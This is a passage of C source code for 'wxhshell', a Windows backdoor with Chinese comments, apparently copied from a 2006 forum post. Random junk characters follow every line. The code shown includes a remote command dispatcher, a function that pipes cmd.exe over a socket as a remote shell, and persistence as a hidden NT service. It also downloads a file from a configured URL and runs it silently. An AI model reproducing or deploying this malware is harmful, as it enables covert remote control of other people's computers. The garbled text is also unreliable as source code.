  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N d].(_  
  } B*T n@t W  
  else { )[ V8YiyU  
F w 0m(7  
    switch(cmd[0]) { 50cVS)hG6d  
  '^UHY[mX8  
  // 帮助 rYb5#aT[  
  case '?': {  6:zPWJB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V&*IZt&  
    break; ;|q<t  
  } =W~7fs  
  // 安装 ON,[!pc  
  case 'i': { i#'K7XM2  
    if(Install()) MgeC-XQM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Xt.[1  
    else o701RG ~)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); csy6_q(  
    break; MTu\T  
    } Sq5,}oT_{j  
  // 卸载 '(.5!7?Qc  
  case 'r': { h.edb6  
    if(Uninstall()) TTXF r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w?ugZYwX*  
    else .C'\U[A{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -8 uS#  
    break; 6u, g  
    } 1}d F,e  
  // 显示 wxhshell 所在路径 Va8 }JD  
  case 'p': { UY3)6}g6  
    char svExeFile[MAX_PATH]; ZC?~RXL(  
    strcpy(svExeFile,"\n\r"); t<45[~[  
      strcat(svExeFile,ExeFile); (Ceruo S  
        send(wsh,svExeFile,strlen(svExeFile),0); &<t%u[3  
    break; }j/\OY _&  
    } Rw?w7?I  
  // 重启 )]fsl_Yq  
  case 'b': { K(+=V)'Dz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UD-+BUV  
    if(Boot(REBOOT)) |{#St-!-7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QLJ\>  
    else { T8S&9BM7  
    closesocket(wsh); L1SX2F8  
    ExitThread(0); ~O}r<PQ  
    } D_l$"35?  
    break; zDvV%+RW)  
    } $MR1 *_\V  
  // 关机 ctP+ECH  
  case 'd': { n9Fq^^?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); evyjHcCx  
    if(Boot(SHUTDOWN)) f Fi=/}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xh8U}w<k6  
    else { SoziFI  
    closesocket(wsh); WsHD Ip  
    ExitThread(0); fEBi'Ad  
    } %r^tZ;; l  
    break;  .\oz  
    } Ic'D# m  
  // 获取shell |Yli~Qx  
  case 's': { C?H~L  
    CmdShell(wsh); TCp9C1Q4  
    closesocket(wsh); <Y`(J#  
    ExitThread(0); =F \Xt "  
    break; Vh0cac|X  
  } -5*OSA:8x  
  // 退出 WSozDNF!'f  
  case 'x': { lV'?X%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1K/HVj+'.  
    CloseIt(wsh); -C2!`/U  
    break; #w;"s*  
    } n*[ZS[I  
  // 离开 3eUi9_s+  
  case 'q': { 02,t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~>@~U]  
    closesocket(wsh); -8)Hulo/{U  
    WSACleanup(); ef'kG"1  
    exit(1); [[[C`H@  
    break; 2bCfY\k  
        } ]WMzWt:L  
  } "mn?*  
  } Z66Xj-o  
{iyJ HY  
  // 提示信息 LVUA"'6V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `+Nv =vk  
} vd%AV(]<LJ  
  } X!|eRA~o  
8=D,`wog  
  return; F > rr.  
} dQ*^WNUB  
2sGKn a  
// shell模块句柄 : ;8L1'  
int CmdShell(SOCKET sock) ^|<>`i6  
{ 7)U ik}0  
STARTUPINFO si; 3FvVM0l"  
ZeroMemory(&si,sizeof(si)); GbLHzw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^x0N] /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 |=]i-8  
PROCESS_INFORMATION ProcessInfo; Tv#d>ZSD  
char cmdline[]="cmd"; +s<6eHpm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {>km]CG  
  return 0; iY>P7Uvvz  
} >)D=PvGlmp  
Ys.GBSlHG  
// 自身启动模式 3^P;mQ$p1  
int StartFromService(void) @:im/SE  
{ 53hX%{3  
typedef struct &B5&:ib1D  
{ %<^^ Mw  
  DWORD ExitStatus; bGwOhd<.  
  DWORD PebBaseAddress; Bvvja C  
  DWORD AffinityMask; {_!,T%>+1  
  DWORD BasePriority; p"P+8"`  
  ULONG UniqueProcessId; ^U?Ac=  
  ULONG InheritedFromUniqueProcessId; F;_c x  
}   PROCESS_BASIC_INFORMATION; 9qDM0'WuU  
RR=WD-l  
PROCNTQSIP NtQueryInformationProcess; -\p&18K#  
Fa h6 &a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V]Te_ >E;w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J#Q>dC7  
:^W}$7$T  
  HANDLE             hProcess; <cZ/_+H%C  
  PROCESS_BASIC_INFORMATION pbi; >&\.{ aj  
?<F([(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &IXmy-w  
  if(NULL == hInst ) return 0; 7#wB  
yT:2*sZRc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WZ`i\s1#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gaC4u,Zb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R1 SFMI   
n;Mk\*Cg  
  if (!NtQueryInformationProcess) return 0; 4"|3pMr  
T}{zh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y_>DszRN`u  
  if(!hProcess) return 0; HY_>sD  
CF3x\6.q}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R<f F ^^  
p8XvfM  
  CloseHandle(hProcess); 4RctYMz  
-uN{28;@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6|lsG6uf  
if(hProcess==NULL) return 0; 8g:VfzaHu  
13 h,V]ak  
HMODULE hMod; 8+Tv@  
char procName[255]; ]O}e{Q>  
unsigned long cbNeeded; XzIC~}  
i`52tH y_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ie[X7$@  
dLGHbeZ[(  
  CloseHandle(hProcess); WL(Y1>|j  
<o9i;[+H-  
if(strstr(procName,"services")) return 1; // 以服务启动 3~R,)fO;  
/$clk=  
  return 0; // 注册表启动 :' 5J[]J  
} y=pW+$k  
MB:[: nX  
// 主模块 \^0>h`[  
int StartWxhshell(LPSTR lpCmdLine) sMAj?]hI$  
{ Q7e4MKy7  
  SOCKET wsl;  6p@[U>`  
BOOL val=TRUE; nCwA8AG  
  int port=0; =c 9nC;C  
  struct sockaddr_in door; '4 d4i  
ysi=}+F.  
  if(wscfg.ws_autoins) Install(); IAzFwlO9  
p2(ha3PW  
port=atoi(lpCmdLine); fJ\?+,  
] 7[#K^  
if(port<=0) port=wscfg.ws_port; *.eeiSi{  
E$z-|-{>  
  WSADATA data; cQxUEY('+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TDZ==<C  
Y,L[0%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X]9<1[f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lH?jqp  
  door.sin_family = AF_INET; q{}5wM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3]'ab-,Vp  
  door.sin_port = htons(port); t$,G%micj  
LmyaC2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uc_ }="  
closesocket(wsl); g$2#TWW5  
return 1; (Z @dz  
} )H]L/n  
i._RMl5zg  
  if(listen(wsl,2) == INVALID_SOCKET) { Fs~*-R$  
closesocket(wsl); 1!V[fPJ  
return 1; lvODhoT  
} /~s<@<1!X  
  Wxhshell(wsl); '\d ldg#P  
  WSACleanup(); BUwL?  
0\"#Xa+}8  
return 0; <uBRLe`)  
huA?*fat   
} x6JV@wA&  
l x;87MDs  
// 以NT服务方式启动 R}w}G6"\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z &P1C,n)  
{  wT19m  
DWORD   status = 0; _1Rw~}O  
  DWORD   specificError = 0xfffffff; '_7rooU9  
'Q=)-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8EkzSe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P@GU2[1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EKcPJ\7  
  serviceStatus.dwWin32ExitCode     = 0; b{-"GqMO  
  serviceStatus.dwServiceSpecificExitCode = 0; !oXFDC3k  
  serviceStatus.dwCheckPoint       = 0;  k4<28  
  serviceStatus.dwWaitHint       = 0; irm4lb5  
Q jXJo$I6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *k#"@  
  if (hServiceStatusHandle==0) return; $Bncdf  
M`q|GY  
status = GetLastError(); XM+.Hel  
  if (status!=NO_ERROR) i"n_oO  
{ 0+1!-Wo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +1yi{!j1  
    serviceStatus.dwCheckPoint       = 0; L?;UcCB  
    serviceStatus.dwWaitHint       = 0; Kyk{:UnI  
    serviceStatus.dwWin32ExitCode     = status; ZY7-.  
    serviceStatus.dwServiceSpecificExitCode = specificError; %E#Ubm!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b==jlYa=  
    return; qov<@FvE0  
  } p*g)-/mA  
68bvbig  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kv!:2br  
  serviceStatus.dwCheckPoint       = 0; 6 %aaK|0  
  serviceStatus.dwWaitHint       = 0; /kyO,g$9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H;_Ce'oU(  
} 6W1+@ q  
aY,Bt  
// 处理NT服务事件,比如:启动、停止 jyF*JQjK4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B_[I/ ?  
{ <)LR  
switch(fdwControl) gfN=0Xj4  
{ \kUQe-:he  
case SERVICE_CONTROL_STOP: _IOUhMo  
  serviceStatus.dwWin32ExitCode = 0; )lt1I\n*k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f{L;,  
  serviceStatus.dwCheckPoint   = 0; 2`;XcY4A  
  serviceStatus.dwWaitHint     = 0; 1}c /l<d  
  { *2~WP'~PQd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mE{QTZS  
  } H[s+.&^  
  return; GTfM *b  
case SERVICE_CONTROL_PAUSE: aj|PyX3P:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #6#n4`%ER  
  break; R!/JZ@au<  
case SERVICE_CONTROL_CONTINUE: 4P)#\$d:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ? .SiT5  
  break; Va.TUz4  
case SERVICE_CONTROL_INTERROGATE: Md>C!c  
  break; yc9!JJMkH  
}; nG5\vj,zB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3t.!5 L  
} "8ZV%%elp  
[~|k;\2 +  
// 标准应用程序主函数 >oyf i:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bcT_YFLQ  
{ YWd2bRb  
??B!UXi4R  
// 获取操作系统版本 XW8@c2jN\7  
OsIsNt=GetOsVer(); |Fze9kZO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3}phg  
ns5Dydo{T  
  // 从命令行安装 D}}?{pe  
  if(strpbrk(lpCmdLine,"iI")) Install(); >*O5Ry:4  
d)biMI}<5  
  // 下载执行文件 rq7yNt  
if(wscfg.ws_downexe) { kk<%VKC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qHe H/e%`V  
  WinExec(wscfg.ws_filenam,SW_HIDE); '^WR5P<8c  
} saZK+kD4I  
uMG y-c  
if(!OsIsNt) { ]Z\W%'q+  
// 如果时win9x,隐藏进程并且设置为注册表启动 l}-k>fug  
HideProc(); ziO(`"v  
StartWxhshell(lpCmdLine); [cEGkz  
} 9'~qA(=.?  
else 8/)q$zs  
  if(StartFromService()) !F~1+V>zP  
  // 以服务方式启动 bxxLAWQ(  
  StartServiceCtrlDispatcher(DispatchTable); Hr}"g@ <  
else WhH60/`  
  // 普通方式启动 5"3 `ss<m  
  StartWxhshell(lpCmdLine); I+kL;YdS  
3l`"(5  
return 0; cy mC?8<  
}
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只看该作者 1 发表于: 2006-10-10
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